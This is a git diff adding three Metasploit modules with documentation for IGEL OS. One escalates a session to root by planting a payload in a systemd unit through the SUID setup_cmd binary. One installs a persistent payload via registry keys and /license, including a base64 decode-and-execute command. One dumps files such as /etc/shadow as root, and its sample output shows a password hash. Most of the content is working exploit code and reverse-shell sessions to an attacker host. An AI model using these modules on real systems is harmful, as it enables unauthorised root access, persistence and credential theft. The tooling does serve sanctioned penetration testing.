diff --git a/documentation/modules/exploit/linux/local/igel_network_priv_esc.md b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md new file mode 100644 index 0000000000000..dac2cce1d0156 --- /dev/null +++ b/documentation/modules/exploit/linux/local/igel_network_priv_esc.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +IGEL OS < 11.10.150 with a `shell` or `meterpreter` session. + +IGEL OS is a Linux-based operating system designed for endpoint devices, +primarily used in enterprise environments to provide secure access to virtual +workspaces. It focuses on enhancing security, simplifying management, and +improving user productivity across various sectors, including healthcare and +finance. + +In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset +list of files it could execute with elevated permissions. This allowed a bash +script `/config/bin/network` to be executed as root, which in turn called +`systemctl $1 network-manager.service`, allowing a systemd unit to be modified +by an unprivileged user. + +The network service is restarted after the systemd unit configuration is updated, +causing a brief notification and loss of network connectivity. Once restarted, +a session should be created as root. + +All files on disk (including the payload) are registered for clean-up. + +## Verification Steps + +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.10.150 host +2. Use: `use exploit/linux/local/igel_network_priv_esc` +3. Set: `set SESSION `, replacing `` with the session ID +4. Set payload options, e.g. `LHOST` +5. Exploit: `run` +6. A new session is created as root + +## Options + +None. + +## Scenarios + +``` +msf exploit(linux/local/igel_network_priv_esc) > set SESSION 1 +SESSION => 1 +msf exploit(linux/local/igel_network_priv_esc) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf exploit(linux/local/igel_network_priv_esc) > run +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Uploading payload to target +[*] Writing config to target +[*] Applying service config +[*] Restarting service +[*] Sending stage (3090404 bytes) to 192.168.56.7 +[+] Deleted /tmp/WHQCVmDB +[+] Deleted /tmp/fylZWXSF +[+] Deleted /tmp/LBnyPcKt +[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.7:51938) at 2025-11-17 16:00:48 +0000 + +meterpreter > getuid +Server username: root +``` diff --git a/documentation/modules/exploit/linux/persistence/igel_persistence.md b/documentation/modules/exploit/linux/persistence/igel_persistence.md new file mode 100644 index 0000000000000..3a5767a20b5fa --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/igel_persistence.md @@ -0,0 +1,56 @@ +## Vulnerable Application + +IGEL OS with a `shell` or `meterpreter` session. + +IGEL OS is a Linux-based operating system designed for endpoint devices, +primarily used in enterprise environments to provide secure access to virtual +workspaces. It focuses on enhancing security, simplifying management, and +improving user productivity across various sectors, including healthcare and +finance. + +Most of the operating system is read-only, mounted from SquashFS images +stored in their proprietary filesystem, with the exception of a few persistent +locations. Therefore, changes to the system will likely be lost on a reboot, +unless written to specific locations, such as `/license` or registry. + +This module requires root access in order to write to privileged locations +in registry and optionally remount and write to `/license`. + +By default, the module writes a command payload to registry to fetch and execute +the binary payload on establishing a network connection after a reboot. + +See [igelfs](https://github.com/Zedeldi/igelfs) for more information about +the IGEL filesystem and an unofficial Python implementation. + +## Verification Steps + +1. Get a `shell` or `meterpreter` session on an IGEL OS host +2. Use: `use exploit/linux/persistence/igel_persistence` +3. Set: `set SESSION `, replacing `` with the session ID +4. Set payload options, e.g. `LHOST` +5. Exploit: `run` +6. The payload is executed on next boot/login (dependent on `REGISTRY_KEY`) + +## Options + +| Name | Description | +| ------------- | ------------------------------------------------------- | +| REGISTRY_KEY | Registry key to use for automatically executing payload | +| REGISTRY_ONLY | Set whether to store payload in registry (dropper only) | +| TARGET_DIR | Directory to write payload (dropper only) | + +## Scenarios + +``` +msf exploit(linux/persistence/igel_persistence) > set SESSION 2 +SESSION => 2 +msf exploit(linux/persistence/igel_persistence) > set LHOST 192.168.56.1 +LHOST => 192.168.56.1 +msf exploit(linux/persistence/igel_persistence) > run +[*] Started reverse TCP handler on 192.168.56.1:4444 +[*] Uploading payload to /license +[*] Writing persistence to registry +[*] Registry written successfully +[*] The payload should be executed when the target reboots +[*] Exploit completed, but no session was created. +``` diff --git a/documentation/modules/post/linux/gather/igel_dump_file.md b/documentation/modules/post/linux/gather/igel_dump_file.md new file mode 100644 index 0000000000000..a42d769f2b343 --- /dev/null +++ b/documentation/modules/post/linux/gather/igel_dump_file.md @@ -0,0 +1,55 @@ +## Vulnerable Application + +IGEL OS < 11.09.260 with a `shell` or `meterpreter` session. + +IGEL OS is a Linux-based operating system designed for endpoint devices, +primarily used in enterprise environments to provide secure access to virtual +workspaces. It focuses on enhancing security, simplifying management, and +improving user productivity across various sectors, including healthcare and +finance. + +In previous versions, `/config/bin/setup_cmd` was an SUID binary, with a preset +list of files it could execute with elevated permissions. This allowed +`/bin/date -f` to be used for data extraction as root. + +The dumped file is printed to screen and saved as loot. + +## Verification Steps + +1. Get a `shell` or `meterpreter` session on an IGEL OS < 11.09.260 host +2. Use: `use post/linux/gather/igel_dump_file` +3. Set: `set SESSION `, replacing `` with the session ID +4. Optionally, set `RPATH` +5. Run: `run` +6. Contents of file is displayed + +## Options + +| Name | Description | +| ------------- | -------------------------- | +| RPATH | File on the target to dump | + +## Scenarios + +``` +msf post(linux/gather/igel_dump_file) > set SESSION 1 +SESSION => 1 +msf post(linux/gather/igel_dump_file) > set RPATH /etc/shadow +RPATH => /etc/shadow +msf post(linux/gather/igel_dump_file) > run +[*] Executing command on target +[*] Command completed: +games:!!:20409:::::: +man:!!:20409:::::: +proxy:!!:20409:::::: +backup:!!:20409:::::: +list:!!:20409:::::: +irc:!!:20409:::::: +gnats:!!:20409:::::: +systemd-coredump:!!:20409:::::: +root:$6$BEtW8dG/eZ2nHb2X$vE1ZoeP.Z00bSB6dF9PVNHB3gcT1Wh5U2WUMPDBqBwMmZg.cshgiApIXVmDk.S.RhWTxKoZbZRWyqyMyHkzby.:20409:0:99999:::: +rtkit:*:20409:0:99999:7::: +user:*:20409:0:99999:::: +ruser::20409:0:99999:::: +[*] Post module execution completed +``` diff --git a/modules/exploits/linux/local/igel_network_priv_esc.rb b/modules/exploits/linux/local/igel_network_priv_esc.rb new file mode 100644 index 0000000000000..500ed5ae72dc8 --- /dev/null +++ b/modules/exploits/linux/local/igel_network_priv_esc.rb @@ -0,0 +1,120 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + include Msf::Post::Linux + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IGEL OS Privilege Escalation (via systemd service)', + 'Description' => %q{ + Escalate privileges for IGEL OS Workspace Edition sessions, by modifying + network-manager.service using setup_cmd (SUID) and network, then restarting + the service. + }, + 'Author' => 'Zack Didcott', + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => [ARCH_X64], + 'Targets' => [ + [ + 'Linux x86_64', { + 'Arch' => ARCH_X64, + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } + } + ], + ], + 'DefaultTarget' => 0, + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2024-07-10', # Patch release date + 'Notes' => { + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS] + } + ) + ) + + register_advanced_options([ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) + ]) + end + + def check + version = Rex::Version.new( + read_file('/etc/system-release').delete_prefix('IGEL OS').strip + ) + unless version < Rex::Version.new('11.10.150') + return CheckCode::Safe("IGEL OS #{version} is not vulnerable") + end + + CheckCode::Appears("IGEL OS #{version} should be vulnerable") + end + + def exploit + print_status('Uploading payload to target') + payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700) + + print_status('Writing config to target') + config = build_config(payload_file) + config_file = write_payload(config, datastore['WritableDir'], 0o600) + + print_status('Applying service config') + vprint_status(modify_service(config_file)) + + print_status('Restarting service') + vprint_status(restart_service) + end + + def write_payload(contents, dir, perm) + fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir) + fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir) + + filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" + + write_file(filepath, contents) + chmod(filepath, perm) + + unless file?(filepath) + fail_with(Failure::Unknown, "Failed to write to '#{filepath}'") + end + + register_files_for_cleanup(filepath) + + return filepath + end + + def build_config(payload_file) + config = <<~CONFIG.strip + [Service] + TimeoutStartSec=infinity + ExecStartPost=#{payload_file} + CONFIG + return config + end + + def modify_service(config_file) + command = <<~COMMAND.strip + /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF + env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit + EOF + COMMAND + + script_file = write_payload(command, datastore['WritableDir'], 0o700) + cmd_exec(script_file) + end + + def restart_service + create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120) + end +end diff --git a/modules/exploits/linux/persistence/igel_persistence.rb b/modules/exploits/linux/persistence/igel_persistence.rb new file mode 100644 index 0000000000000..594843004f41f --- /dev/null +++ b/modules/exploits/linux/persistence/igel_persistence.rb @@ -0,0 +1,133 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + include Msf::Post::Linux + include Msf::Post::Linux::System + include Msf::Post::Unix + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IGEL OS Persistent Payload', + 'Description' => %q{ + Gain persistence for specified payload on IGEL OS Workspace Edition, by writing + a payload to disk or base64-encoding and executing from registry. + }, + 'Author' => 'Zack Didcott', + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'Arch' => [ARCH_CMD, ARCH_X64], + 'Targets' => [ + [ + 'Linux Command', { + 'Arch' => [ARCH_CMD], + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/https/x64/meterpreter/reverse_tcp' }, + 'Type' => :nix_cmd + } + ], + [ + 'Linux Dropper', { + 'Arch' => [ARCH_X64], + 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }, + 'Type' => :linux_dropper + } + ], + ], + 'DefaultTarget' => 0, + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2016-11-02', # IGEL OS 10 release date + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options([ + OptString.new('REGISTRY_KEY', [ + true, + 'Registry key to use for automatically executing payload', + 'userinterface.rccustom.custom_cmd_net_final' + ]), + OptString.new('TARGET_DIR', [true, 'Directory to write payload (dropper only)', '/license']), + OptBool.new('REGISTRY_ONLY', [true, 'Set whether to store payload in registry (dropper only)', false]) + ]) + end + + def validate + unless is_root? + fail_with(Failure::NoAccess, 'Session does not have root access') + end + end + + def install_persistence + validate + + case target['Type'] + when :nix_cmd + command = payload.encoded + when :linux_dropper + if datastore['REGISTRY_ONLY'] + print_status('Base64-encoding payload') + encoded_payload = Rex::Text.encode_base64(generate_payload_exe) + command = base64_command(encoded_payload) + else + print_status("Uploading payload to #{datastore['TARGET_DIR']}") + payload_file = write_payload(generate_payload_exe, datastore['TARGET_DIR'], 0o700) + command = local_command(payload_file) + end + end + + print_status('Writing persistence to registry') + write_registry(datastore['REGISTRY_KEY'], command) + if get_registry(datastore['REGISTRY_KEY']) != command + fail_with(Failure::Unknown, 'Failed to write to registry') + else + print_status('Registry written successfully') + print_status('The payload should be executed when the target reboots') + end + end + + def remount_license(opt = 'rw') + create_process('/bin/mount', args: ['-o', "remount,#{opt}", '/license']) + end + + def write_payload(contents, dir, perm) + remount_license('rw') + + filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}" + write_file(filepath, contents) + chmod(filepath, perm) + + remount_license('ro') + + return filepath + end + + def base64_command(encoded_payload) + payload_dest = "/tmp/#{Rex::Text.rand_text_alpha(8)}" + "/bin/bash -c '/bin/echo '#{encoded_payload}' | /usr/bin/base64 -d > '#{payload_dest}'; /bin/chmod +x '#{payload_dest}'; '#{payload_dest}' &'" + end + + def local_command(payload_file) + command = "/bin/bash -c '/bin/mount -o remount,exec /license; '#{payload_file}' &'" + return command + end + + def get_registry(key) + create_process('/bin/get', args: [key]) + end + + def write_registry(key, value) + create_process('/bin/setparam', args: [key, value]) + end +end diff --git a/modules/post/linux/gather/igel_dump_file.rb b/modules/post/linux/gather/igel_dump_file.rb new file mode 100644 index 0000000000000..c3734f78616eb --- /dev/null +++ b/modules/post/linux/gather/igel_dump_file.rb @@ -0,0 +1,77 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Post + include Msf::Post::File + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IGEL OS Dump File', + 'Description' => %q{ + Dump a file with escalated privileges for IGEL OS Workspace Edition sessions, + by elevating rights with setup_cmd (SUID) and outputting with date. + }, + 'Author' => 'Zack Didcott', + 'License' => MSF_LICENSE, + 'Platform' => ['linux'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2024-03-07', # Patch release date + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [] + } + ) + ) + + register_options([ + OptString.new('RPATH', [true, 'File on the target to dump', '/etc/shadow']) + ]) + end + + def check + version = Rex::Version.new( + read_file('/etc/system-release').delete_prefix('IGEL OS').strip + ) + unless version < Rex::Version.new('11.09.260') + return Exploit::CheckCode::Safe("IGEL OS #{version} is not vulnerable") + end + + unless file?('/etc/setupd-usercommands.json') + return Exploit::CheckCode::Appears("IGEL OS #{version} appears to be vulnerable") + end + + Exploit::CheckCode::Appears("IGEL OS #{version} should be vulnerable") + end + + def run + unless [ + Exploit::CheckCode::Detected, + Exploit::CheckCode::Appears, + Exploit::CheckCode::Vulnerable + ].include?(check) + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') + end + + print_status('Executing command on target') + output = create_process('/config/bin/setup_cmd', args: ['/bin/date', '-f', datastore['RPATH']]) + + print_status('Command completed:') + data = [] + output.lines[1..].each do |line| + line = line.strip.delete_prefix( + '/bin/date: invalid date ‘' + ).delete_suffix('’') + data << line + print_line(line) + end + + fname = File.basename(datastore['RPATH'].downcase) + loot = store_loot("igel.#{fname}", 'text/plain', session, data.join("\n"), datastore['RPATH']) + print_status("#{datastore['RPATH']} stored in #{loot}") + end +end